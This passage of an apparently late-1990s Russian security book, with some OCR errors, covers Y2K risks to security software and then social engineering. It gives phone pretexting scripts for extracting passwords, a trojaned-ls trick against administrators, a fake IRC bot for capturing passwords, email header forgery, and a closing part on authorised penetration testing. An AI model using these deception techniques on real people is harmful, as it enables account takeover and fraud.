обычно имеют встроенную защиту от подобных атак и, анализируя дату приходящих сообщений, не допускают
прием повторных сообщений или сообщений, зашифрованных с использованием устаревших ключей. В том
случае, если в системе модуль <временного> анализа разработан без учета проблемы Y2K, криптосистема в
целом может дать сбой, что приведет к приему повторных сообщений или полному выходу системы из строя.

  2. Проблемы с модулями автоматизированного контроля безопасности системы.

  Одной из стандартных функций ПСОИБ является автоматизированный контроль за безопасностью системы.

  Обычно данные модули осуществляют динамический контроль за состоянием АС, что вынуждает их
использовать и протоколировать в log file (журнал аудита) время и дату обнаруженного
контролируемого события. В стандартную поставку данных систем входят модули анализа журнала аудита.

  Сбои в этих модулях при попытке автоматизированного анализа базы данных, содержащей журнал аудита,
могут привести к неверной реакции системы обеспечения информационной безопасности. Примером в данном
случае являются системы Firewall, одна из задач которых - постоянное ведение журнала аудита, в который,
помимо информации о попытках создания сетевых соединений, заносится информацияо времени создания
соединения. Использование средств автоматизированного анализа журнала аудита, разработанных без учета
Y2K, может вызвать их сбой и привести как к аварийному завершению процесса, осуществляющего анализ, так
и к аварийному завершению работы всей системы в целом.

  3. Проблемы с модулями реализации авторизованного доступа к ресурсам системы.

  Одним из модулей, который присутствует практически в любой системе обеспечения компьютерной
безопасности, является модуль контроля и предоставления авторизованного доступа к ресурсам системы.

  Данный модуль обеспечивает/запрещает доступ в систему в зависимости от даты и времени его осуществления.

  Например, функциями Account Expires и Logon Hours в Windows NT 4.0 можно разрешить пользователю доступ
в систему с (или до) определенной даты или в определенные часы. Соответственно, в том случае, если в данном
модуле о проблеме Y2K разработчики <забыли> (отметим, что эти службы приведены просто для примера), то
такая забывчивость может привести к невозможности получения авторизованного доступа в систему в лучшем
случае только для пользователя с установленным Account Expires, а в худшем - для всех пользователей си-
стемы, если сбой при входе в систему одного пользователя повлечет за собой сбой в работе модуля в целом.

  4. Проблемы с модулями автоматизированного анализа безопасности и поиска вирусных сигнатур.

  Другой разновидностью ПСОИБ являются средства автоматизированного анализа безопасности, основная
задача которых состоит в анализе системы на предмет наличия в ней известных уязвимостей (сетевые сканеры
безопасности, например SATAN, Internet Security Scanner и т. д.) или вирусов (антивирусов). Эти средства
сетевого анализа широко применяются администраторами безопасности крупных корпоративных сетей с
постоянно видоизменяемой инфраструктурой, что позволяет им выявлять внесение в ВС новых объектов,
содержащих уязвимости или вирусы. Одной из стандартных функций ПСОИБ данного вида является
возможность их
запуска в определенное время. В связи с этим данный тип программного обеспечения (ПО) также становится
уязвимым из-за проблемы Y2K, что приведет к невозможности анализа безопасности системы и проникнове-
нию в нее кракеров или заражению ее вирусами.

  5. Проблемы со встроенными системами на основе License Key (защита от нелегального использования).

  Одной из особенностей ПСОИБ является практически повсеместное применение в них систем защиты от
нелегального использования, обычно основанных на временных лицензиях. Те средства, которые в качестве
<привязки> используют данные о системной дате в компьютере, могут быть подвержены сбоям, связанным с
неправильной интерпретацией <нулевой> даты при достижении 2000 года.

  
 Например, лицензия (сертификат) на работу данного программного средства рассчитана на 1 год и дается с
05.05.1999 по 05.05.2000. Следовательно, после наступления 2000 года система защиты от нелегального ис-
пользования может дать сбой, и ПСОИБ откажутся далее функционировать вплоть до устранения проблемы.

  6. Проблемы с операционными системами, в которых функционируют ПСОИБ.

  Подавляющее большинство программных средств защиты функционируют под управлением различных
операционных систем. Поэтому сбой операционной системы, в которой функционируют ПСОИБ, может
косвенно повлиять на функционирование самой системы защиты и привести к ее дальнейшей некорректной
работе или полному выходу из строя вплоть до устранения проблемы, связанной с управляющей операционной
системой. Например, сбой в сервере ntp (network time protocol), в случае использования данного сервера, может
привести к сбою системы защиты в целом.

  7. Проблемы с аппаратными средствами защиты.

  Общепризнанным является тот факт, что в сфере информационной безопасности используются комплексные
решения, включающие в себя не только программные средства обеспечения безопасности, но также и аппа-
ратные средства.

  Существующие аппаратные средства защиты, разграничивающие доступ в систему па основе различной
идентифицирующей информации (сетчатка глаза, отпечатки пальцев, электронные ключи и т. д.), могут дать
аппаратный сбой, связанный с неверной обработкой системной даты при идентификации пользователя.

  Например, сбой электронного идентификатора  может сделать невозможной
идентификацию/аутентификацию пользователя, и дальнейший вход в контролируемую систему будет запрещен
или разрешен в зависимости от реакции системы на данный сбой.

  Возможные последствия проблемы Y2K
Оценим на основе вышеизложенного возможные последствия нарушения работоспособности
автоматизированных систем обеспечения информационной безопасности в связи с проблемой Y2K. Данная
оценка приводится с учетом основных функций ПСОИБ, заключающихся в предоставлении авторизованного
доступа к ресурсам системы, в шифровании/дешифриро-вании конфиденциальной информации, в контроле за
безопасностью системы, в анализе безопасности системы.

  Итак, автоматизированным системам, использующим ПСОИБ, угрожают следующие опасности:

  1. Невозможность получения доступа в систему для авторизованных пользователей.

  2. Предоставление доступа неавторизованным пользователям.

  3. Нарушение работоспособности АС, использующей ПСОИБ.

  4. Невозможность в создании/передаче/чтении конфиденциальной информации, зашифрованной ПСОИБ.

  5. Невозможность контроля за безопасностью системы оставит незамеченными как предварительный анализ
атакующим ресурсов системы, так и возможные успешные попытки получения неавторизованного доступа к
ресурсам контролируемой АС.

  6. Невозможность выявления имеющихся недостатков в системе обеспечения безопасности, а также вирусов
в ПО, что может в дальнейшем повлечь за собой нарушение безопасности системы или заражение ее
компьютерными вирусами.

  Возможные пути решения обозначенных проблем
1. Самостоятельное тестирование ПСОИБ путем установки новой системной даты.

  Это, очевидно, наиболее простой способ самостоятельной проверки, однако использовать его нужно с
определенной осторожностью. Дело в том, что выданные сертификаты (лицензии), подтверждающие легальную
работу ПСОИБ или личность пользователя, после изменения системной даты и запуска ПСОИБ могут оказаться
просроченными и в дальнейшем (даже после восстановления текущей даты) потерять свою силу. Данный факт
серьезно затрудняет тестирование систем, однако проблема решается путем хранения эталонных сертификатов
на отдельных носителях (если это возможно) и тестирования только макетов АС, а ни в коем случае не реально
действующих систем.

  2. Обращение к производителям ПСОИБ.

  Пользователям, обладающим средствами ПСОИБ, имеет смысл обратиться к фирмам-производителям за
получением в связи с проблемой Y2K соответствующих рекомендаций, разъяснений и патчей к программным
средствам,


Информационная безопасность России и проблема Y2K


В российских условиях проблема Y2K с точки зрения информационной безопасности, на первый взгляд,
выглядит несколько неактуальной в связи с относительно слабым развитием систем телекоммуникаций,
особенно по сравнению со странами с более развитой экономической структурой. Но это только на первый
взгляд! В наших условиях с точки зрения безопасности на первый план выходят не современные
автоматизированные системы, о которых имеется достаточно информации, а всевозможные устаревшие
программы, разработанные более десяти лет назад, отвечающие за обеспечение надежной работы систем
управления и доступ к объектам стратегического назначения, таким как атомные станции, военные системы
управления ракетами и т.д. Об их безопасности в связи с проблемой Y2K в данном случае судить достаточно
сложно, но можно предположить, что программы, созданные в прошедших десятилетиях, содержат немало
ошибок, связанных с неправильной обработкой системной даты. К каким последствиям это может привести -
ответ очевиден. Примером сбоя ПО стратегического назначения служит известная авария французского раке-
тоносителя Ariane 5, произошедшая 4 июня 1996 года из-за тривиальной ошибки переполнения переменной и
принесшая только прямых убытков на 500 миллионов долларов.

  Будем надеяться, что в соответствующих российских ведомствах работают специалисты, способные выявить
все имеющиеся ошибки в ПО объектов стратегического назначения и 2000 год не принесет нам никакой
катастрофы.


                                  глава 2

                      СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ И ЕЕ ПРИМЕНЕНИЕ

Все-таки желательно, гражданин артист, чтобы вы незамедлительно разоблачили бы перед зрителями
технику ваших фокусов.

  М. Булгаков. Мастер и Маргарита
В процессе написания этой части возник вопрос, как можно корректно перевести Social Engineering... В
электронном переводчике Socrat мы нашли, что это - <общественное проектирование>. Наверное, корректнее
сказать <социальное исследование> или <социальная проработка>, но оба термина совершенно неблагозвучны.

  Пожалуй, оставим так - <социальная инженерия> (СИ). Дело в том, что до сих пор этой проблеме в отечествен-
ной прессе не уделялось внимания, и потому соответствующего термина не существует.

  Итак, что такое социальная инженерия в контексте информационной безопасности? Словарь хакерского
жаргона сообщает: <Социальная инженерия - термин, использующийся взломщиками и хакерами для обозна-
чения несанкционированного доступа к информации иначе, чем взлом программного обеспечения; цель -
обхитрить людей для получения паро-лейк системе или иной информации, которая поможет нарушить безо-
пасность системы. Классическое мошенничество включает звонки по телефону в организацию для выявления
тех, кто имеет необходимую информацию, и затем звонок администратору, эмулируя служащего с неотложной
проблемой доступа к системе>.

  Да, действительно, самое простое средство проведения СИ - телефон. Все исследование основывается на
одной маленькой детали: в крупных компаниях лица, ответственные за систему, не знают всех сотрудников,
поэтому появляется возможность манипулировать действиями администраторов. Телефон облегчает эту задачу,
так как администратор не видит абонента, который может звонить даже из другого города или страны.

  В западной прессе часто мелькают сообщения о том, что кто-то где-то что-то взломал. Немалая часть этих
взломов как раз и была проведена с помощью СИ. В идеальных условиях у взломщика должны быть:

  
 телефон, воспроизводящий шум офиса;

 автоопределитель номера;

 устройство для изменения голоса;

 возможность использовать чужую телефонную линию. Все эти вещи необходимы для успешного
применения теоретических знаний на практике, но в нашей стране получить сразу все не представляется
возможным, так что потенциальным взломщикам приходится довольствоваться простыми подручными
средствами. Первый инструмент заменяется обыкновенным шумом в комнате или магнитофонной записью.

  Второй не составит труда отыскать. Третий - самое сложное. Проблема в том, что качественный аппарат
способен преобразовывать голос как угодно: в женский, в детский, в старческий... Такие устройства очень
редки, поэтому полностью использовать возможности СИ вряд ли получится. Конечно, ничто не помешает
постучать ложкой о тарелку и сделать вид, что люди в офисе обедают. Можно позвать тетю Машу, дать ей
шоколадку и попросить позвонить... Об использовании чужой линии, наверное, и заикаться не стоит.

  Единственное, что сразу приходит в голову, - это телефонная трубка с номеронабирателем и ближайший
телефон-автомат. Но тогда придется использовать еще и анти-АОН.

  Классификация атак класса СИ
Обычно атаки класса СИ представляют собой комбинацию некоторых средств, методов и <параметров
окружения>. Основные разновидности можно разделить на следующие категории.

  По средствам применения:

  
 телефон;

 электронная почта; ' разговор по Internet в <реальном времени>;

 обыкновенная почта;

 личная встреча.

  В первом случае основную сложность представляет голос. Если объект знаком с тем, кем вы представились,
то необходимо сделать так, чтобы ваш голос почти не отличался от его голоса. При использовании электронной
почты проблема голоса отпадает, зато появляется стиль письма, которого нужно придерживаться от начала и до
конца. То же самое утверждение можно отнести к третьему и четвертому пунктам данной классификации. В
последнее время быстро развивается новый вид общения - ICQ, некая смесь электронной почты, разговора в
реальном времени и организатора межсетевых взаимодействий между пользователями. Эта программа иногда
позволяет в большей степени ввести в заблуждение пользователей, но об этом потом. Следующий вид
контактов - личностный. Лично можно воздействовать только на тех людей, которые не смогут утверждать, что
вы не тот, за кого себя выдаете. В этом случае необходимо иметь приятный голос и уметь нравиться людям.

  Конечно, при сложных комбинациях может быть использовано нс одно средство, а, возможно, даже все, но
человек, осуществляющий такую атаку, должен быть не просто хорошим, а отличным психологом.

  По уровню социального отношения к объекту:

  
 официальный;

 товарищеский;

 дружеский.

  Разумеется, для того чтобы атака оказалась успешной, нужно выбрать соответствующий стиль общения для
каждого случая. При официальном стиле общения недопустимы нотки пренебрежения или дружественности.

  Необходимо, чтобы все выглядело так, как должно. Если был выбран товарищеский тон, то предполагается, что
вы знаете хотя бы имя человека, с которым собираетесь разговаривать. Последний, дружеский уровень дастся с
большими усилиями. Желательно не просто много знать о человеке, но и представлять, кем вы собираетесь
выглядеть. Это самый сложный вид атаки, но после его успешного применения можно добиться самых высоких
результатов.

  По степени доступа объекта к информационной системе:

  
 администратор - высокая;

 начальник - средняя;

 пользователь - низкая;

 знакомый администратора, начальника или пользователя - отсутствие
доступа.

  Здесь предполагается разделение по результату атаки. Соответственно, в первом случае результат
наибольший, а в последнем - наименьший. Но это - с точки зрения промежуточного результата (см. табл. 2.1).

  На практике работа с пользователем и знакомыми оказывается легче, чем с администратором и начальником:

  больще вероятность, что последние знают того, кем вы собираетесь представиться.

  Таблица 2. ]. Вероятность успешного проведения атаки в зависимости от навыков выполняющего (низкая -
], средняя - 2, высокая - 3)
Краткое введение в
психологию СИ
<На свете есть только один способ побудить кого-либо что-то сделать. Задумывались ли вы когда-нибудь
над этим? Да, только один способ. И он заключается в том, чтобы заставить другого человека захотеть это
сделать. Помните - другого способа нет>, - писал Дейл Карнеги.

  Знаете... а ведь он прав! Конечно, все это и так интуитивно понятно, но если разобраться глубже, то
оказывается, что есть способы, позволяющие этого достичь. Один из наиболее видных психологов XX века,
Зигмунд Фрейд, говорил, что в основе всех наших поступков лежат два мотива -сексуальное влечение и
желание стать великим, причем последнее трактуется как <желание быть значительным> или <страстное
стремление быть оцененным>. В принципе это одно и то же. Дайте человеку попят)>, что вы его цените и
уважаете! Мы не призываем вас при разговоре с администратором сети льстить и сыпать комплиментами, хотя
<льстить - значит говорить человеку именно то, что он думает о себе>. Конечно, умный человек это заметит, и
такое отношение ему может не понравиться. Но если заранее постараться признать для себя достоинства того, с
кем вы собираетесь разговаривать, то собеседник почувствует вашу искренность.

  Попробуйте произнести такие слова: <Я понимаю, что вы ужасно заняты, но не могли бы вы...> Обычно
подобная фраза говорится с юмористическим оттенком или с тоном пренебрежения. Но если вы попробуете
представить себе, что человек действительно занят и у него нет никакого желания с вами разговаривать, то ваш
тон моментально изменится. Поверьте, такой прием подействует, только если говорить искренне!

  Примеры проникновения в систему
Наверняка все в детстве баловались с телефонами. Ну кто не знает таких шуток, как: <Алло, это зоопарк?> -
<Нет>. - <А почему обезьяна у телефона?>. Совершенно безобидный пример издевательства над людьми. А вот
еще один подобный пример, но с элементами СИ:

  Шутник: Алло! Вас беспокоят с телефонной станции. Измерьте, пожалуйста, длину шнура от трубки к
телефону. Жертва: Метр.

  Ш.: Хорошо, для того, чтобы повеситься, хватит. Следующий звонок.

  Ш,: Алло! Это милиция. Вам сейчас хулиганы не звонили? Ж.: Да, да! Звонили! Разберитесь с ними,
пожалуйста! Ш.: Про трубку и провод спрашивали? Ж.: Да! Ш.: И он у вас метр? Ж.: Да!

  Ш.: А почему до сих пор не висим?

  Это было лирическое отступление на тему того, как методы СИ используются детьми на бессознательном
уровне, в качестве шутки. Рассмотрим простейший пример СИ для проникновения в систему. Звонок
администратору системы. Взломщик: Здравствуйте, вы администратор? Администратор: Да.

  В.: Я понимаю, что вы ужасно заняты, извините, что отрываю вас от дел, по я не могу войти в сеть.

  А.: (Про себя: ЕПРСТ!!! Поработать tie дают!) А что компьютер говорит по этому поводу? В.: Как это -
<говорит>??? А.: (Ха!) Ну, что там написано? В.: Написано <вронг пассворд>.

  А.: (Ну-ну, еще бы...) А-а-а-а... А вы пароль правильно набираете? В.: Не знаю, я его не совсем помню.

  А.: Какое имя пользователя? В.: anatoly.

  А.: Ладно, ставлю вам пароль... мммм... art25. Запомнили? (Если опять не войдет - убью!)
В.: Постараюсь... Спасибо. (Вот дурак-то!) Конец разговора. Все!

  На самом деле это упрощение ситуации, но в некоторых случаях такое может сработать. Какие ошибки
допустил администратор? С его точки зрения - никаких. В подобных случаях редко спрашиваются имя, фами-
лия, должность звонящего, особенно если звонит девушка с приятным голосом (для этого и используются
преобразователи голоса). Администраторы часто сталкиваются с забывчивостью пользователей, особенно если
сотрудники редко <входят> в систему. В таких случаях ответственное лицо старается побыстрее положить
трубку, и ему хватает того, что пользователь знает свое имя входа в систему. Однако в этом случае взломщик
уже знал некоторые сведения о своей цели. Рассмотрим пример с первоначальными нулевыми знаниями.

  1. Выберем цель по телефонной книге - организацию, где есть телефон секретаря.

  2. Звоним секретарю и узнаем имя персоны, с которой можно проконсультироваться по поводу некоторых
проблем с работой системы.

  3. Звоним любому другому человеку, чей номер телефона имеется в книге, предполагая, что он имеет доступ
к системе.

  4. Представляемся (разумеется, вымышленным именем) как помощник той персоны, имя которой мы узнали
из первого звонка. Говорим, что в связи с перестановкой системы администратор дал задание поменять пароли
всем пользователям.

  5. Узнаем имя входа, прежний пароль, говорим новый пароль. Все!

  6. В том случае, если доступ к системе происходит посредством телефонных линий, звоним секретарю,
говорим, что не получается дозвониться до системы, и просим назвать правильный номер телефона. В принципе
этот пример немногим отличается от предыдущего, но есть большая вероятность получения доступа в систему
вследствие оперирования в разговоре конкретными именами и должностями.

  После того как взломщик получает доступ к системе в виде простого пользователя, ему не составляет
большого труда получить полное право на нее с помощью тех способов, которые описаны в главе 9. Но можно и
дальше развить СИ для получения привилегий администратора. Вот пример на UNIX-системе.

  Пусть каким-либо образом взломщик узнал, что у администраторе в переменную окружения PATH
включена <.> (это значит выполнены программ из текущего каталога, многие так делают для удобства работы)
Звонок администратору. Хакер: Здравствуйте, вы администратор? Администратор: Да.

  X.: Извините, что отвлекаю. Не могли бы вы мне помочь? А.: (Ну что еще ему надо?) Да, конечно. X.: Я не
могу в своем каталоге выполнить команду Is. А.: (Как будто ему это надо!) В каком каталоге? X.:

  /home/anatoly.

  А.: (Вот ведь глупый юзер!) Сейчас посмотрю. (Заходит в этот катала и набирает команду is, которая
успешно выполняется и показывает ноли чие нормальных прав на каталог.) А.: Все у вас должно работать!

  X.: Хммм... Подождите... О! А теперь работает... Странно... А.: (РрррррИ!) Да? Хорошо!

  X.: Спасибо огромное. Еще раз извиняюсь, что помешал. А.: (Ну наконец!) Да не за что. (Отстань,
противный!) До свидания. Конец разговора.

  Заметили криминал? Вроде бы ничего особенного. Даже с точки зрения опытного администратора. Что же
произошло на самом деле? В каталоге /home/anatoly среди множества других файлов лежал измененный вариант
программы Is. Как раз его-то администратор и запустил. Все дело в том, что при выполнении этого файла у
запускающего (администратора) имелись все права на систему, и, соответственно, все программы, которые он
запускает, могут делать с системой практически все, что угодно. Что было в этом файле, кроме возможности
показывать список файлов в каталоге, теперь только взломщику и известно.

  Разумеется, эти случаи годятся для организации со средним уровнем защиты. В банках или военных
учреждениях наверняка так просто ничего нс получится. Там могут спросить имя звонящего, его адрес, номер
паспорта или предложат оставить номер телефона для последующего уведомления о смене пароля (для этого и
нужна возможность использовать чужую линию, чего позволяют добиться офисные   мини  -  АТС  , которыми
можно оперировать с удаленного терминала или из сети Internet). В таком случае взломщики обычно заранее
собирают информацию о потенциальных жертвах. Как это делается? Пожалуйста, еще один пример иг
телефонных шуток.

  Звонок на совершенно незнакомый номер.

  Взломщик: Алло, извините, вас беспокоят с телефонной станции. Это номер такой-то? Жертва: Да.

  В.: У нас идет перерегистрация абонентов, не могли бы вы сообщить, на кого у вас зарегистрирован
телефон? Имя, фамилию и отчество, пожалуйста. Ж.: (Говорит информацию.)
В.: Спасибо! Так... секундочку... Хорошо, ничего не изменилось. А место работы?

  Ж.: (С некоторым сомнением называет, а если человек очень подозрительный, то спрашивает, зачем.)
В.: Это сведения для новой телефонной книги. По вашему желанию можем внести не одно имя, а всех, кого
можно найти по этому телефону.

  Ж.: (Тут с радостью называются имена всех членов семьи с их положением в ней, хотя это и не
требовалось.)
Информации уже достаточно для попытки взлома. Таким же образом становятся известными номера
паспортов и т. д. После такого разговора можно звонить сотрудникам хозяина телефона от имени его
родственников и получать дальнейшую информацию. Еще один пример. Взломщик: Алло, это приемная?

  Жертва: Да.

  В.: Это администрация сети. Мы сейчас меняли сетевую систему защиты. Необходимо проверить, все ли у
вас нормально работает. Как вы обычно регистрируетесь в системе? Ж.: Ввожу свои имя и пароль. В.: Хорошо...

  Так... (Пауза) Какое имя? Ж.: anna.

  В.: Анна... (Пауза) Так... какой у вас раньше был пароль? Ж.: ienb48.

  В.: Та-а-а-ак... Хорошо. Попробуйте сейчас перерегистрироваться. Ж.: (Пауза) Все нормально. Работает. В.:

  Отлично. Спасибо!

  Разумеется, в маленьких организациях, где все знают администратора, это не сработает, зато в больших есть
пространство для применения своих способностей.

  Вот как использовали СИ такие люди, как Кевин Митник и Роско: <И Роско, и Кевин гордились своим
умением общаться с людьми. На их взгляд, в любом разговоре можно было подчинить себе собеседника, если
говорить авторитетным тоном знатока, даже если в этой области ты ничего не смыслишь. Время от времени они
названивали в отдел дистанционной связи какой-нибудь компании и недовольным начальственным голосом
требовали объяснить, почему тот или иной номер   АТС   не удается набрать из города. И напуганный оператор
объяснял им, как набрать интересую-
 щий их номер.

  Обычно в таких случаях Кевин предпочитал импровизировать, полагаясь на свою интуицию, а Роско возвел
свое умение разговаривать с людьми чуть ли не в ранг искусства. Он вел специальную записную книжку, куда
вписывал имена и должности телефонисток и операторов разных фирм и их начальников. Там же он помечал,
новички они или опытные работники, насколько хорошо информированы, расположены к разговорам или нет.

  Заносил он в книжку и сведения, так сказать, личного характера, добытые в течение долгих часов разговоров по
телефону: увлечения, имена детей, любимые виды спорта и места, где они любят бывать в отпуске и по
выходным> [5].

  В некоторых источниках предлагается ходить с видеокамерой, изображая репортера, и почаще наводить ее
на клавиатуру пользователей. Здесь сработает предположение, что людям наверняка захочется увидеть себя по
телевизору. Можно даже попросить человека сделать вид, что он только что пришел на работу и садится за
компьютер... Ну и, разумеется, попросить включить его и начать работу.

  Социальная инженерия посредством сети Internet
Беседы через Internet
Для выявления паролей через IRC злоумышленники используют два или более одновременно открытых
клиента IRC. Желательно иметь права оператора канала, но необязательно. Один из клиентов представляет
собой bot (робот-исполнитель), а другой - это сам злоумышленник (например, ВОВ). Как происходит СИ:

  ВОВ: Для получения прав оператора просто пошли сообщение роботу капала, но сначала необходимо
проидентифицировать свой DNS. Если ты не знаешь, как это сделать, напиши /msg bot identify твой_пароль.

  Робот должен запомнить имя, DNS и впоследствии аутентифицировать тебя по набранному паролю.

  После чего действительному оператору канала желательно сказать, что нет времени, и необходимо убегать.

  Все это для того, чтобы нс появилось подозрения в соучастии.

  Как только <пациент> посылает роботу такое сообщение, для создания полной иллюзии необходимо
ответить от имени робота что-нибудь вроде такой фразы:

  Имя_пациента: Клиент аутентифицирован. Установка прав оператора. Теперь злоумышленник имеет пароль
пользователя. Конечно, совсем необязательно, что это пароль применялся еще где-либо, но люди, не ис-
кушенные в безопасности, по привычке пишут везде один и тот же пароль.

  Электронная почта
Работа с помощью электронной почты почти не отличается от работы с телефоном, но есть некоторые
особенности:

  
 в случаях переписки с незнакомыми людьми письма должны иметь соответствующий вид. Например,
подпись в конце письма должна быть стандартной для больших компаний: следует указать имя, фамилию,
должность, название организации, адрес и телефон;

 при переписке со <знакомыми> людьми необходимо выдерживать дружеский стиль;

 желательно не посылать письмо напрямую, а использовать поддельный адрес и/или скрывать IP-адрес,
откуда пришло письмо. Введем маленькое отступление для объяснения того, каким образом можно послать
письмо с поддельным обратным адресом и что это значит. В любом передаваемом электронном письме
существует header (заголовок), содержащий служебную информацию, такую как дата отправки, IP-адрес
машины, с которой отправили письмо, название отправляющей программы, обратный адрес отправителя и т. д.

  Эту информацию обычно можно просмотреть либо в программе, работающей с вашей почтой, либо в
<сыром> виде, с помощью любого текстового редактора.

  Вот, что можно увидеть в этом заголовке:

  From NikolayOimagine.rusk. ru Wed Jan 9 17:50:40 1999
Received: from mail 1. relcom. ru ( mail 1. relcom. ru [193.125.152.4]) by info. tsu. ru (8.8.5/
8.8.2) with ESMTP id RAA01375 for ; Wed, 9 Jan 1999 17:15:22 +0800 (TSD)
Received: from gw. imagine, msk.ru (root@)localhost) by maill. relcom. ru (8.7/8.7/akolb/
960402) with SMTP id HAA07617 for : Fri, 9 Jan 1997 07:13:46 GMT
Received: from nick (nick.imagine.msk.ru [123.123.123.123]) by gw.imagine.msk.ru with
SMTP id FAA06917 for ; Fri, 8 Jan 1999 11:18:55 +0300
Message-Id: 
X-Hailer: Mozilla 4.01 [en] (Win95; 1)
Date: Fri, 8 Jan 1999 11:18:20 +0300

                              X-UIDL: 867984288.012

From: Nikolay 
To: eugeneOtSLi.ru
Subject: For you information
Status: RO
Что здесь может заинтересовать вас или получателя вашего письма? Прежде всего, это поля ., где
содержится информация о маршруте, который прошло письмо. Как правило, последнее поле 
показывает адрес машины, с которой это сообщение было отправлено. В самом простом случае, как здесь, будет
написан IP-адрес. Тогда получатель письма точно сможет узнать, пришло ли оно от его знакомого.

  Существует несколько способов сделать так, чтобы эти адреса не записывались или чтобы туда записалась
ложная информация.

  Во-первых, можно использовать широко распространенные в Internet программы, позволяющие заполнить
поля From, То и Host - адрес сервера, через который будет отправлена почта. Желательно выбирать сервер, не
записывающий, откуда пришло письмо. Идеальный вариант, если этот сервер является еще и почтовым
сервером реального отправителя.

  Во-вторых, можно просто перенастроить ваш почтовый клиент (Netscape, Outlook Express, The Bat) на
другое имя отправителя и другой адрес почтового сервера.

  В третьих, можно использовать серверы, переправляющие почту, но стирающие всю информацию о пути
прохождения сообщения, - так называемые remailers. Этот способ не очень эффективен, так как
соответствующая информация все равно отразится в заголовке.

  Мало того, что вы подмените адрес, в некоторых случаях придется поменять и имя программы-отправителя
. Ну знаю я, что мой друг питает отвращение к Outlook Express, а тут вдруг пользуется им... Может
быть, придется изменить даже дату отсылки сообщения! Если отправитель находится в противоположной точке
земного шара и разница во времени составляет 12 часов (дата отправки обычно показывается всеми почтовыми
программами), то отправление письма в 5 утра может насторожить получателя. Вопрос с датами в любом
случае нужно прорабатывать подробнее, так как некоторые серверы ее изменяют, некоторые пишут ее
относительно GMT и т. д.

  Есть еще один вариант отправки - с помощью программы telnet. 25-й SMTP-порт - стандартный для приемки
писем; к почтовому серверу можно подсоединиться на этот порт и самому набрать все поля.

  Для получения информации об интерфейсе общения можно набрать команду HELP. Обычно требуется ввод
следующих полей:

  
  - кому отсылается письмо;

  - от кого пришло письмо;

  - тело письма.

  В тех случаях, когда сервер не записывает IP-адрес отправителя, этот метод тоже может помочь. Не будем
останавливаться на деталях процесса, добавим только, что обычно проверкой подлинности письма никто не за-
нимается, да и осуществить такую процедуру сможет далеко не каждый. Поэтому при <работе> с
обыкновенными пользователями об этом, как правило, не задумываются, но иногда все же стоит
перестраховаться.

  Программа-пейджер
Вот, наконец, добрались и до ICQ (I seek you). Как мы уже упоминали, ICQ - это некоторое подобие
электронной почты, а значит, с ней можно делать почти все, что и с e-mail. Кроме того, ICQ похожа на IRC,
соответственно - те же комментарии. Чем же это средство общения отличается от описанных выше, и как его
можно реально использовать в социальной инженерии?

  Для тех, кто пока еще не знаком с ICQ, кратко объясним ее суть. В то время, когда вы работаете, она
постоянно загружена на вашем компьютере, причем обычно показывается рабочая панель, на которой вы
можете увидеть предварительно внесенные имена своих друзей и знакомых. Те из них, у кого в данный момент
запущена эта программа, будут показаны вам . в самом верху с различными иконками статуса (доступен,
недоступен, временно ушел и т. д.). Для общения можно выбрать тип разговора - либо просто послать письмо,
либо поговорить в режиме реального времени (больше похоже на программу talk (UNIX), чем на IRC).

  Программа разработана не так давно, но уже широко используется, несмотря на множество ее недостатков.

  В последнее время в Internet стали появляться программы, которые способны тем или иным образом нарушить
работу ICQ. Что же можно сделать с их помощью? Послать сообщение от чужого имени, дать возможность
постороннему лицу увидеть список друзей, узнать пароль пользователя или просто удаленно вывести
программу из строя. Не надо обладать особой проницательностью, чтобы придумать, как применить все это на
практике. Да и отличить подделанное сообщение в ICQ значительно труднее, чем в e-mail. Для того чтобы
исправить эти недостатки, фирма Mirabilis, разработчик ICQ, время от . времени выпускает новые версии.

  Все приведенные выше примеры не выдуманы, а взяты из реальной жизни. Они показывают, что
наибольшую опасность для организаций представляют люди, а не слабая защита операционных систем. Далее
рассмотрим,
каким образом можно оградить себя от подобных методов несанкционированного проникновения.

  Возможности защиты от социальной инженерии
Тесты на проникновение
Тестирование системы защиты - это метод выявления недостатков безопасности с точки зрения
постороннего человека (взломщика). Он позволяет протестировать схему действий, которая раскрывает и
предотвращает внутренние и внешние попытки проникновения и сообщает о них. Используя этот метод, можно
обнаружить даже те недостатки защиты, которые не были учтены в самом начале, при разработке политики
безопасности. Тест должен разрешить два основных вопроса:

  
 все ли пункты политики безопасности достигают своих целей и используются так, как это было задумано;

 существует ли что-либо, не отраженное в политике безопасности, что
может быть использовано для осуществления целей злоумышленника. Все попытки должны
контролироваться обеими сторонами - как взломщиком, так и <клиентом>. Это поможет протестировать
систему гораздо эффективнее. Необходимо также свести к минимуму количество людей, знающих о
проведении эксперимента. При тестировании могут быть затронуты деликатные вопросы частной жизни
сотрудников и безопасности организации, поэтому желательно получить предварительное разрешение на
проведение такой акции. Ваше непосредственное начальство обязательно должно быть в курсе происходящего.

  Профессионалам в области безопасности при проведении теста необходимо иметь такое же положение, как
и у потенциального злоумышленника: в их распоряжении должны быть время, терпение и максимальное ко-
личество технических средств, которые могут быть использованы взломщиком. Более того, проверяющим
следует расценить это как вызов своему профессионализму, а значит, проявить столько же рвения, сколько и
взломщик, иначе тесты могут не достичь необходимого результата. Требования, предъявляемые к человеку,
проводящему тесты:

  1. Необходимо быть дружелюбным, легко располагающим к себе и вызывать симпатию.

  2. Иметь хорошие технические знания.

  Вот пример подобного тестирования, описанный И. Винклер (National Computer Security Association).

  Эксперимент провели с разрешения компании, о его ходе было проинформировано только <высокое>
начальство.

  <В самом начале атакующие выполнили поиск в Internet для получения представления об организации.

  Изучение дополнительных баз данных позволило установить имена большого числа сотрудников организации и
ее руководства. Поиск в телефонном справочнике дал телефонный номер офиса компании поблизости от
атакующих. Звонок в офис позволил получить копию ежегодного отчета компании, а также бесплатный теле-
фонный номер компании. Для получения этой информации не потребовалось ничего объяснять.

  Объединив данные ежегодного отчета с данными, полученными из Internet, атакующие получили имена и
должности многих лиц из руководства вместе с информацией о проектах, над которыми они работают. Сле-
дующим шагом было получение телефонного справочника компании, что позволило установить имена еще ряда
сотрудников и получить полное представление об организационной структуре компании.

  С бесплатного телефонного номера был сделан звонок по основному номеру компании для контакта со
службой рассылки. Звонивший сказал, что он новый сотрудник и хочет узнать, какую информацию требуется
указать для пересылки по почте в США и за границу. В результате атакующие узнали, что требуется только два
числа - личный номер сотрудника и номер торгового центра. Звонок в отдел графики подтвердил важность этих
двух чисел.

  Используя телефонный справочник, атакующие стали звонить десяткам служащих в разных отделах для
получения личных номеров служащих, которые могли быть использованы для последующих атак. Номера
